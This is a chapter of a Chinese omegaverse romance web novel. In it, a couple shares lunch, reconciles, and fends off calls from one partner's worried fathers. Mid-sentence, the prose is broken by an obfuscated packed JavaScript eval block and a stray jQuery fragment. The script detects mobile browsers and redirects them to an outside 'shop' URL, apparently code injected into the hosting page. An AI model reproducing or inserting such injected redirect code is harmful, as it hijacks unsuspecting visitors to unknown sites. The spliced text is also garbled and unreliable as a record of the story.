“人抓住了?”
穿着粉红色围裙的尤然关了油烟机,一手点开了免提。
“是的尤总,”秘书详细道,“尤栋和尤海是在l国首都机场中转时被抓,其他人则是老爷子带走了……目前定位在海外。”
尤然“嗯”了声,看着锅里黑透的鸡蛋叹气,“老爷子还是给我面子的……继续盯着,证据准备好。”
秘书应了声,挂断。
恰时,一股热源悄悄贴上尤然,“惊喜!”
“怎么不休息?”尤然笑着倚靠在阮知橙的怀里,贴着那人的脖颈嗅着信息素,“淡了。”
“不想休息,想你,”阮知橙也歪头和尤然脑袋贴脑袋,“我好像可以控制住信息素了。”
“我想给你预约一下信息素检测,”尤然有些担忧,他知道阮家的分化遗传问题,“后天去?”
“听你的……今天中午点佛跳墙吧,”阮知橙自动忽略了锅中的不明物体,兴致勃勃道,“上官鹤说很好吃。”
尤然:“……好。”
尤然冷静提锅,将煎鸡蛋倒进垃圾桶。
“悠悠,”阮知橙又黏了上来,“家里只要我一个会做饭就好啦!你只要等着吃就行!”
尤然拉住岌岌可危的理智:“我能学会。”
“悠悠当然会!”阮知橙低下头,故意将热气打在尤然的耳朵上,促狭看着逐渐变粉的脸,“现在我想让你陪我。”
尤然果断抛弃理智。
做饭算什么东西?
哪有自家alpha撒娇来得香?
阮知橙心满意足地跟着尤然走出厨房,恰时门铃响起……
半晌,尤然面色复杂地拎着外卖袋。
阮知橙眨眼,露出小虎牙笑。
真的是因为馋了才买。
绝对不是因为午饭原因。
尤然内心叹息一声,简单收拾一下把饭摆好,示意阮知橙坐旁边。
阮知橙轻轻咳嗽一声,看着尤然熟练地吹凉汤,嗓眼很痒,就好像被YOYO的毛温柔地蹭蹭。
尤然喂得很慢,每一勺之间都会停一下,确认阮知橙咽下去,才继续。
距离近得过分,薄荷味的信息素安静地散在空气里,包裹着人。
阮知橙吃到一半,忽然含着勺子不动了。
尤然微微蹙眉:“怎么了?不舒服?”
阮知橙摇头,眼睛亮亮的:“就是觉得……有点不真实。”
“哪里不真实?”尤然好笑道。
“你在这。”阮知橙慢吞吞地说。
受伤的这两天,他洗澡尤然都很不放心地站在门口,上床也是尤然托着腰帮他,更别提喝水……
阮知橙的脸红了。
很甜。
尤然沉默一瞬,果断把勺子抽出来,又舀了一勺。
阮知橙张嘴吃掉。
一时间,两人都很安静。尤然停了一下,手里的勺子没有再递过来。
“抱歉。”
这两个字说得很轻,像是怕惊动什么。阮知橙怔了一下,下意识抬头去看他。
尤然没有回避视线,只是垂着眼,声音很低:“我一直没把你放在第一位。”
他要做的事很多,一一排列下来,竟然把心底的人放到了后面。
尤然小时候就清楚阮知橙喜欢自己,仗着心里那份适配感,知道自己不明说阮知橙就不会开窍,更不敢和自己表白。
阮知橙像是生来就有爱人的能力,要是喜欢一个人,就会想方设法表现出自己的喜爱。
让阮知橙的心围着自己转,给他一个糖,尤然自己就能收获无数糖。
这种理所当然的偏爱,让他很骄傲,很傲慢,每收到一份情书,他都会在心底嗤笑——
还会有人比阮知橙更偏爱他吗?
答案不言而喻。
就这么一个小橙子,暖烘烘地卧在他心口。
但他仗着这份偏爱,经常毫无顾忌地离开阮知橙。
阮知橙从尤然的眼神中读出了什么,他没有立刻说话,只是慢慢把嘴里的汤咽下去。
“你没有对不起我。”
尤然刚要说话,被阮知橙轻轻打断。
“我喜欢你,不代表你马上就要回应我,要把我放在最前面处理的地方。”
阮知橙看着他,语气很平静。
“我喜欢你,想对你好,只是这样。”
尤然的喉结动了一下。
“而且,当时的我们,也不适合直接恋爱。”阮知橙笑了一下,语气很轻,“那时候我一直觉得,你不喜欢我,是因为我还不够好。”
他停了一下,继续道。
“所以我只会一味地对你好,想用这种方式靠近你。”
那种不计后果的靠近,热烈又笨拙,有时候确实会让人喘不过气。
“后来我才发现,如果我们想要一直生活下去,我需要像你学习,先对自己做出改变。”
尤然眨眼,刚要开口,便被阮知橙止住。
“我要做的,”他努力伸出僵硬的手,勾住尤然的手指轻轻晃了一下,“不能让你来做所有事情。”
“可我没有在你最关键的时间陪你,”尤然紧盯着他。
“关键的时间?”阮知橙弯起眼睛,乐,“这样一说,我也没有在你最关键的时间陪你。”
尤然语塞,视线落在阮知橙身上,像是慢了半拍才反应过来自己刚刚说了什么。
薄荷味的信息素在空气里微微晃了一下,又迅速收紧。
尤然沉默了几秒,然后,在阮知橙还没来得及说话之前,他忽然往前伸手抱了过去。
阮知橙稳稳抬手接住人,怀里一下子满了。
两颗心前所未有地挨在一起。
阮知橙正要低头说点什么,桌上的手机却在这时突兀地震动起来。
嗡——
声音不大,却偏偏落在两人呼吸之间。
尤然的动作顿了一下,没有立刻松手,只是额头抵在阮知橙肩上,像是还没从刚才那一刻回过神。
手机又震了一下。
阮知橙侧头看了一眼来电显示,倒吸一口气:“……我爸。”
尤然:“……”
“……警察叔叔会告诉他们吗?”
阮知橙很紧张,他原本就不打算将这件事情告诉父亲们,反正他对这个处理结果很满意,就不用父亲们再火急火燎地赶回来。
“……可能?”尤然瞥了眼不停振动的电话,“先接吧。”
阮知橙只好一边维持着这个姿势,一边伸手点开免提。
“……橙子啊!”阮岭的声音很严肃,“老实交代,你干了什么!”
“什么都没干啊,”阮知橙采取敌不动我不动举措,“我干什么了?”
另一边的阮父猛的从床上跃起,“你竟然问我?”
听到父亲质问的声音,阮知橙心里抖了一抖,真的知道了?
还没等他说话,薄荷味的信息素不动声色地扩散开来,一股湿热的气息突然贴近他的锁骨,阮知橙浑身一僵。
尤然的牙齿隔着衣领,轻轻咬住了那截锁骨。
阮知橙声音一顿,下意识吸了口气,“……老爸!”
尤然没抬头,唇贴着那一小片皮肤,呼吸温热而缓慢。
电话那头阮父哭唧唧的声音继续传来,尤然却忽然收紧了齿关。
不疼,很痒。
阮知橙喉结滚动了一下,尤然这才松口,在那处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307698|198726||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
留下一点浅浅的痕迹,随后把脸埋进他肩窝,像是终于安静下来。
“……你都没有主动给我和谢哥发信息!”阮岭终于憋不住,率先发话。
阮知橙心虚:“……我和尤然在研究菜谱。”
尤然:“……”
“理由驳回,什么菜谱能研究三天!”阮岭很大声,“说,你们还干了什么坏事不敢给我们说!”
阮知橙打包票,他谢爹绝对不在跟前,“没骗你,不信你问尤然。”
尤然:“……我在研究菜谱。”
“不和你说了,”阮知橙深深知道言多必失这个道理,“你们玩的开心!”
尤然支起身子,帮忙断了电话。
“我们是同谋哦,”阮知橙偷笑。
尤然似笑非笑瞥他,“我确实在学做饭。”
已经学会了蒸米饭和开灶。
阮知橙和他对视,片刻后摇摇头,双手揽着尤然的脖颈,“你要帮我。”
尤然眯眼,还没等他提出条件,口袋手机嗡嗡作响。
他一手摸上阮知橙的背固定住人,一手掏出手机,眉梢微不可察地一动。
“……谢叔。”
阮知橙:“……”
他整个人往尤然怀里又埋深了一点,像是鸵鸟式回避现实:“我要死。”
“现在不接,更像有事。”尤然冷静评价。
阮知橙闭眼,认命。
尤然接了,咳嗽一声,“谢叔。”
“悠悠,”谢辛楼的声音透过听筒传来,压得很低,“橙子在你身边吗?”
“他在楼上,”尤然抱紧了阮知橙,面不改色,“谢叔有什么事吗?”
谢辛楼的声音很平静,“橙子又做坏事了吗?”
阮知橙:“……”
尤然:“……没有啊。”
“我这几天心跳不太稳,”谢辛楼慢条斯理道,“上一次这样还是因为橙子受伤。”
阮知橙面露惊恐。
尤然深吸一口气,不知道为什么,他面对谢辛楼时总有种被看透的感觉,“谢叔,橙子最近在和我学做饭,没有……干坏事。”
“……这样吗?”谢辛楼在那边叹了口气,“打扰你了,悠悠,玩得开心。”
尤然客套了一番,速速挂掉电话。
太可怕了,阮知橙和尤然不约而同想到。
阮知橙抬起脑袋,举手,“现在怎么办?我不想让他们因为这个回来,马上就好了。”
“他们不在一起,”尤然思考道,“所以现在不知道对方已经给我们打了电话。”
“但是他们要是聚在一起……”阮知橙的眼睛瞪得圆溜。
几乎是同一时间,阮知橙的手机又响了,这次弹出的是视频聊天!
两人大眼瞪小眼。
阮知橙飞快转身想转语音,突然,手腕爆出一阵尖锐的痛。
“疼!”阮知橙脸色一白。
尤然心底一颤,起身想要扶住阮知橙的小臂。
阮知橙下意识挣扎,手机在他手里一抖,直接被带着往地下一抛。
嘭——
手机重重落在地板上,屏幕朝下。
视频聊天瞬间被挂断。
阮知橙缓了过来,颤颤巍巍,“……第三次。”
尤然没有说话,火速给谢辛楼打电话,那边接得飞快,“谢叔叔好……”
“……我很好,”谢辛楼咬牙切齿的声音很清晰,“阮知橙?”
阮知橙刚准备起身,腿一麻,下意识惊叫出声,尤然果断抛弃手机接住阮知橙。
“……橙子!”
阮岭那要哭不哭的声音爆开在电话另一端。
“你等着,我们现在就回去!”